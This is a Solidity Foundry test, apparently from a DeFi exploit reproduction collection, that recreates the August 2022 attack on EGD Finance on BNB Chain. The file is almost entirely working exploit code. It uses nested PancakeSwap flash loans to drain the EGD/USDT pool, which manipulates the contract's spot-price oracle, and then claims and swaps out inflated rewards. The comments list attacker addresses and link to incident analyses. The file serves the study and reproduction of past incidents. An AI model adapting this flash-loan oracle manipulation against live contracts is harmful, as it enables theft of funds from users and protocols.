1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144
| // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10;
import "forge-std/Test.sol"; import "./interface.sol";
// @KeyInfo - Total Lost : ~36,044 US$ // Attacker : 0xee0221d76504aec40f63ad7e36855eebf5ea5edd // Attack Contract : 0xc30808d9373093fbfcec9e026457c6a9dab706a7 // Vulnerable Contract : 0x34bd6dba456bc31c2b3393e499fa10bed32a9370 (Proxy) // Vulnerable Contract : 0x93c175439726797dcee24d08e4ac9164e88e7aee (Logic) // Attack Tx : https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3
// @Info // Vulnerable Contract Code : https://bscscan.com/address/0x93c175439726797dcee24d08e4ac9164e88e7aee#code#F1#L254 // Stake Tx : https://bscscan.com/tx/0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8
// @Analysis // Blocksec : https://twitter.com/BlockSecTeam/status/1556483435388350464 // PeckShield : https://twitter.com/PeckShieldAlert/status/1556486817406283776
IPancakePair constant USDT_WBNB_LPPool = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE); IPancakePair constant EGD_USDT_LPPool = IPancakePair(0xa361433E409Adac1f87CDF133127585F8a93c67d); IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370; address constant usdt = 0x55d398326f99059fF775485246999027B3197955; address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;
contract Attacker is Test { function setUp() public { //fork对应的区块状态 vm.createSelectFork("bsc", 20_245_522);
vm.label(address(USDT_WBNB_LPPool), "USDT_WBNB_LPPool"); vm.label(address(EGD_USDT_LPPool), "EGD_USDT_LPPool"); vm.label(address(pancakeRouter), "pancakeRouter"); vm.label(EGD_Finance, "EGD_Finance"); vm.label(usdt, "USDT"); vm.label(egd, "EGD"); }
function testExploit() public { Exploit exploit = new Exploit();
console.log("-------------------- Pre-work, stake 100 USDT to EGD Finance --------------------"); console.log("Tx: 0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8"); console.log("Attacker Stake 100 USDT to EGD Finance"); //先实现对应的质押USDT exploit.stake();
vm.warp(1_659_914_146); // block.timestamp = 2022-08-07 23:15:46(UTC)
console.log("-------------------------------- Start Exploit ----------------------------------"); emit log_named_decimal_uint("[Start] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18); emit log_named_decimal_uint( "[INFO] EGD/USDT Price before price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18 ); emit log_named_decimal_uint( "[INFO] Current earned reward (EGD token)", IEGD_Finance(EGD_Finance).calculateAll(address(exploit)), 18 ); console.log("Attacker manipulating price oracle of EGD Finance...");
exploit.harvest();
console.log("-------------------------------- End Exploit ----------------------------------"); emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18); } }
// Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee contract Exploit is Test { uint256 borrow1; uint256 borrow2;
//与前文流程一致 function stake() public { // Give exploit contract 100 USDT, 给账户初始复制 deal(address(usdt), address(this), 100 ether); // Set invitor IEGD_Finance(EGD_Finance).bond(address(0x659b136c49Da3D9ac48682D02F7BD8806184e218)); // Stake 100 USDT IERC20(usdt).approve(EGD_Finance, 100 ether); IEGD_Finance(EGD_Finance).stake(100 ether); }
function harvest() public { console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve"); borrow1 = 2000 * 1e18; USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000"); console.log("Flashloan[1] payback success"); IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); // refund all USDT } //用不同的calldata,来区分两次闪电贷的过程 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public { if (keccak256(data) == keccak256("0000")) { console.log("Flashloan[1] received");
console.log("Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve"); //第二次闪电贷借出多少USDT borrow2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9_999_999_925 / 10_000_000_000; // Attacker borrows 99.99999925% USDT of EGD_USDT_LPPool reserve EGD_USDT_LPPool.swap(0, borrow2, address(this), "00"); console.log("Flashloan[2] payback success");
// Swap all egd -> usdt console.log("Swap the profit..."); address[] memory path = new address[](2); path[0] = egd; path[1] = usdt; IERC20(egd).approve(address(pancakeRouter), type(uint256).max); pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( IERC20(egd).balanceOf(address(this)), 1, path, address(this), block.timestamp );
bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 1e18); // Pancakeswap fee is 0.25%, so attacker needs to pay back usdt >2000/0.9975 (Cannot be exactly 0.25%) require(suc, "Flashloan[1] payback failed"); } else { console.log("Flashloan[2] received"); emit log_named_decimal_uint( "[INFO] EGD/USDT Price after price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18 ); // ----------------------------------------------------------------- console.log("Claim all EGD Token reward from EGD Finance contract"); IEGD_Finance(EGD_Finance).claimAllReward(); emit log_named_decimal_uint("[INFO] Get reward (EGD token)", IERC20(egd).balanceOf(address(this)), 18); // ----------------------------------------------------------------- //计算需要总共返还闪电贷的费用 uint256 swapfee = (amount1 * 10_000 / 9970) - amount1; // Attacker needs to pay >0.25% fee back to Pancakeswap bool suc = IERC20(usdt).transfer(address(EGD_USDT_LPPool), amount1 + swapfee); require(suc, "Flashloan[2] payback failed"); } } }
// interface interface IEGD_Finance { function bond(address invitor) external; function stake(uint256 amount) external; function calculateAll(address addr) external view returns (uint256); function claimAllReward() external; function getEGDPrice() external view returns (uint256); }
|